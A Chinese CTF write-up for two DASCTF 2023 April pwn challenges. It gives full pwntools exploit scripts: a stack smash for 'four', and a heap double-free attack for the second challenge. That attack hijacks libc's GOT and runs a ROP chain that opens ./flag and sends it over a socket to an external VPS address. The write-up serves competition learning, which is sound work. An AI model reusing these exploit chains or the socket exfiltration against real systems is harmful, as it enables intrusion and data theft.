DASCTF 2023 Apr 月赛 Pwn WriteUp

DASCTF 2023 Apr 月赛 Pwn WriteUp

下午改签五一假期车票耽误了好久,就出了两个。

附件

相关附件及环境可在buuoj竞赛界面上进行下载和复现。

官方WriteUp发布页

官方WriteUp分流

four

所以拉屎之后一定要记得冲

有一个可以往栈上写一大堆东西的分支。

有一个可以打开文件的分支,但看起来似乎只能打开output.txt。

但既然变量都在栈上,且没memset(0,dest,sizeof(dest)),假设我先往可能是dest位置的内存区域喷射flag,再在进入打开文件分支的时候输入output.txt,再在后续的处理中选择不写入,文件描述符就会被保留。

再进入另一个分支,想办法把flag读进来,注意到前面循环的三坨if分别处理了read的三个参数。以>为分隔符,将~后的数字作为第一个参数fd,将:后的内容顺序取3个byte作为第二个参数buf,将@*中间的1个字符取其ascii码值作为第三个参数nbytes

然后常规stack smash,覆盖argv即可。

似乎覆盖长度过大,到了/超过envp会炸,待研究。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context(arch="amd64",log_level="debug")
#s=process("./pwn")
s=remote("node4.buuoj.cn",25114)
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
time_pad=0.2

def menu(idx):
    s.sendlineafter(b"your choice : \n",str(idx).encode())

if __name__=="__main__":
    sleep(5)

    menu(2)
    s.sendlineafter(b"overflow\n",b"24559")
    p=b''
    while len(p)+8<24560:
        p+=b"./flag\x00\x00"
    s.sendlineafter(b"useful\n",p)
    s.sendlineafter(b"Really?\n",b"a")

    menu(3)
    s.sendlineafter(b"Enter level:",b"1")
    s.sendlineafter(b"Enter mode:",b"1")
    s.sendlineafter(b"X:",b"1")
    s.sendlineafter(b"string: ",b"./flag\x00")
    s.sendlineafter(b"please input filename\n",b"output.txt\x00")
    s.sendlineafter(b"no\n",b"2")
    
    menu(4)
    s.sendlineafter(b"info>>",b"~3>@z*>:\x60\x25\x30\x00")

    menu(5)
    s.sendafter(b"address\n",p64(0x602530)*36)
    s.interactive()

书鱼的诱惑

hint:

  • fake fastbin chain reverse into tcache
  • 劫持libc中的got表
  • socket 反弹flag

好了,算法题退化为大模拟(不是

一共2次show,9次delete,只能加0x30大小的堆块,delete处存在UAF,没有edit。

只有小堆块,没法自定义size,单从tcache出发就没什么搞头了。

但是,一个堆块可以同时存在于tcachefastbin中,达到double free的效果。当tcache中的堆块被全部取出时,对应大小fastbin中的堆块会被反向甩入对应tcache_bin

如此,我们便可以对堆链进行布局。利用double free改写堆块fd指针,在fastbin中构造一条链。然后在fastbin进入tcache之后进行进一步利用。

我们再来看看程序的限制条件。

首先看show,考虑用1次泄露heap_base,为后续堆链构造做准备;一次泄露libc,可以通过free一个自己构造出来的、有fd指针指向的大堆块,再show之即可泄露指针。

再来看delete,填满tcache,7次delete;double free一个堆块,使之分别进入tcachefastbin,2次delete;1个unsorted bin泄露libc,1次delete。正好10次。

思路就来了。

还有先前版本触发setcontext+61magic gadget到2.37也改了,这里选取了这一段:

1
2
3
4
    mov rdx, [rdi + 8];
    mov rax, [rdi];
    mov rdi, rdx;
    jmp rax;

再到沙盒,没有execve,没有write,限制了read的fd。

了解到机器出网,考虑socket传vps。至于connect参数中的host可以使用如下代码生成:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h> 
#include <sys/socket.h>
#include <netinet/in.h>
int main() {
    int socketfd=socket(AF_INET,SOCK_STREAM,0);
    int err;
    if (socketfd==-1) {
        printf("Error when creating socket.\n");
        exit(-1);
    }
    struct sockaddr_in info;
    bzero(&info,sizeof(info));
    info.sin_family=PF_INET;
    info.sin_addr.s_addr=inet_addr("143.198.194.139");
    info.sin_port=htons(51337);
    write(1,&info,16);
    return 0;
}

后来了解到这部分可以手算。

总长度16byte。

  • 前2byte固定为p16(2)
  • 3-4byte为端口号,先hex之,换一下前后2byte,最后p16。比如51337,hex之后为0xc889,payload里面写为p16(0x89c8)
  • 6-8byte为ipv4地址每段的hex,从后往前拼起来然后p32,如143.198.194.139对应p32(0x8bc2c68f)
  • 后8byte固定为p64(0)

exp:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
from pwn import *
context(os="linux",arch="amd64",log_level="info")
libc=ELF("./libc.so.6")

def menu(ch,idx,closed=False):
    if closed:
        s.send(str(ch).encode())
        sleep(0.05)
        s.send(str(idx).encode())
        sleep(0.05)
    else:
        s.sendafter(b"Choice >> ",str(ch).encode())
        s.sendafter(b"Index >> ",str(idx).encode())
    return

def add(idx,content=b"./flag\x00",closed=False):
    menu(1,idx,closed)
    if closed:
        s.send(content)
        sleep(0.05)
    else:
        s.sendafter(b"Content >> ",content)
    return
def delete(idx):
    menu(2,idx)
    return

def show(idx):
    menu(3,idx,False)
    s.recvuntil(b"Content << ")
    return s.recvline(keepends=False)

if __name__=="__main__":
    while 1:
        #s=process("./pwn")
        #sleep(5)
        s=remote("148.70.159.118", 33288)
        
        host=p16(2)+p16(0x89c8)+p32(0x8bc2c68f)+p64(0)
        #host=p16(2)+p16(0xa4ff)+p32(0xe6467501)+p64(0)
        add(0)
        for i in range(1,8):
            add(i)
        for i in range(10):
            if i==8:
                add(8,content=host)
                continue
            add(8,p64(1)*6)
        delete(0)
        heap_xor_key=int.from_bytes(show(0),byteorder="little")
        heap_base=heap_xor_key<<12
        success("heap base: "+hex(heap_base))
        for i in range(1,8):
            delete(i)
        add(8)    # deleted #6
        delete(7) # double free #7, now in both cache and fastbin
        add(7,content=p64((heap_base+0x3d0)^heap_xor_key))
        add(5,content=p64((heap_base+0x350)^heap_xor_key))
        add(4,content=b"a")
        add(3,content=p64((heap_base+0x330)^heap_xor_key))
        add(2,content=flat([(heap_base+0x2f0)^heap_xor_key,0,0,0,(heap_base+0x310)^heap_xor_key]))
        add(1,content=flat([(heap_base+0x2b0)^heap_xor_key,0,0,0,(heap_base+0x2d0)^heap_xor_key]))
        add(0,content=flat([0,0,0,0x421]))
        add(8)
        add(8)
        delete(8)
        libc_base=u64(show(8).ljust(8,b"\x00"))-(0x7fdfbc77bce0-0x7fdfbc585000)
        success("libc base: "+hex(libc_base))
        j_strlen_got=libc_base+0x1f6080
        magic_gadget=libc_base+0x8b105
        setcontext=libc_base+0x422f0+61
        

        ret=libc_base+0x8b118
        rdi=libc_base+0x240e5
        rsi=libc_base+0x2573e
        rdx=libc_base+0x26302
        rsp=libc_base+0x2f0a1
        copen=libc_base+libc.sym.open
        cread=libc_base+libc.sym.read
        csocket=libc_base+libc.sym.socket
        cconnect=libc_base+libc.sym.connect
        cwrite=libc_base+libc.sym.write
        rop_chain=flat([
            rdi,0,
            libc_base+libc.sym.close,
            rdi,heap_base+0x360,
            rsi,0,
            rdx,0,
            copen,                # open("./flag",0,0)  # fd==0
            rdi,2,
            rsi,1,
            csocket,              # socket(2,1,0)       # sd==1
            rdi,1,
            rsi,heap_base+0x6a0,
            rdx,16,
            cconnect,             # connect(1,host,16)
            rdi,0,
            rsi,heap_base+0x800,
            rdx,0x100,
            cread,                # read(0,flag,0x100)
            rdi,1,
            cwrite,               # write(1,flag,0x100)
        ])
        #rop_chain=split_rop_chain(rop_chain,ret)
        
        info("strlen got: "+hex(j_strlen_got))
        add(1,content=flat([
            setcontext,heap_base+0x340-0xa0,
            rdi,0,
        ]),closed=True)
        add(8,content=flat([
            rsi,heap_base+0x1000,
            rdx,0x1000,
        ]),closed=True)
        add(8,content=flat([
            cread,rsp,
            heap_base+0x1000,ret,
        ]),closed=True)
        add(8,content=flat([
            heap_base+0x2f0,ret,0,0,
            j_strlen_got^heap_xor_key,
        ]),closed=True)
        try:
            add(8,closed=True)
            add(8,content=p64(magic_gadget),closed=True)
            pause()
            menu(3,1,True)
            s.send(rop_chain)
            s.interactive()
        except EOFError:
            error("EOFError")
            sleep(1)
        s.close()

largeheap (待复现)

Manager (待复现)

0%